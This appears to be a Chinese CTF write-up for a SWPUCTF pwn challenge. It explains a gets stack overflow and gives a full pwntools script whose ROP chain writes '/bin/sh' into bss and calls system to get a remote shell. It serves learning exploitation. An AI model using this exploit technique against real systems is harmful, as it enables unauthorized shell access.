当前位置: 首页 > news >正文

[SWPUCTF 2024 秋季新生赛]ret2libc也阴嘛?(NSSCTF)

ida 反编译看 main 函数

gets 存在栈溢出

偏移 48+8 = 56

自带后门函数

但是没有 /bin/sh

存在可写段,我们可以利用 gets 写入 /bin/sh

payload:

先将可写地址存到 rdi,然后再次调用 gets 函数来接受输入 /bin/sh 读取到 bss_addr

然后再存入被改写内容的地址,作为参数,调用 system 函数即可  

payload = cyclic(offset) + p64(pop_rdi_addr) + p64(bss_addr)  + p64(gets_addr) 
payload += p64(pop_rdi_addr) + p64(bss_addr) + p64(system_addr)

编写 exp:

我们在调用 gets 函数之后并不需要返回到原来的函数中

在调用 gets 函数和 system 函数之间并不需要进行额外的栈调整

因此用不到 ret

# @author:My6n
# @time:20250523
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('node6.anna.nssctf.cn',29271)
elf = ELF('./pwn')
offset = 56
pop_rdi_addr = 0x401273
bss_addr = 0x404000
system_addr = elf.symbols['system']
gets_addr = elf.symbols['gets']
payload = cyclic(offset) + p64(pop_rdi_addr) + p64(bss_addr)  + p64(gets_addr) 
payload += p64(pop_rdi_addr) + p64(bss_addr) + p64(system_addr)
io.sendline(payload)
io.sendline(b'/bin/sh')
io.interactive()

可以打通 

 

 

http://www.xdnf.cn/news/602929.html

相关文章:

  • OpenEuler-Apache服务原理
  • 如何配置jmeter做分布式压测
  • .jsx文件和.tsx文件有什么区别
  • 补题目找规律
  • uni-app/vue2:微信小程序实现文件流的下载及预览
  • Claude MCP协议从入门到精通
  • 【Hexo】2.常用的几个命令
  • MySQL别名规则与应用场景
  • Facebook + AdsPower!用一台设备实现 Facebook 多账号管理
  • Jenkins 构建日志统一上报:企业级 DevOps 管理实践
  • 科学养生:解锁现代健康生活新方式
  • 现代生活下的创新健康养生之道
  • 《计算机组成原理》——第二章-6 总线定时:同步定时(同步通信)
  • Pysnmp使用指南
  • CentOS停止维护了,解决yum不能安装软件的问题
  • 网络通信与传输安全
  • echarts定制化柱状图——条纹柱状图
  • RK3588 Opencv-ffmpeg-rkmpp-rkrga编译与测试
  • 【JAVA】注解基础:元注解与自定义注解(30)
  • 【飞书知识问答】AI赋能企业,开启高效办公新模式
  • Google机器学习实践指南(学习速率篇)
  • (随记)商业落地实施RAG工程的核心步骤
  • 项目管理的流程与核心细节全解析
  • 如何使用 WebStorm 编写第一个 Node.js 项目
  • 《P3375 【模板】KMP》
  • 9大开源AI智能体概况
  • Python爬虫(34)Python爬虫高阶:动态页面处理与Playwright增强控制深度解析
  • c语言文件操作详解
  • 实验-设计一个应用系统(计算机组成原理)
  • Web攻防-SQL注入数据库类型用户权限架构分层符号干扰利用过程发现思路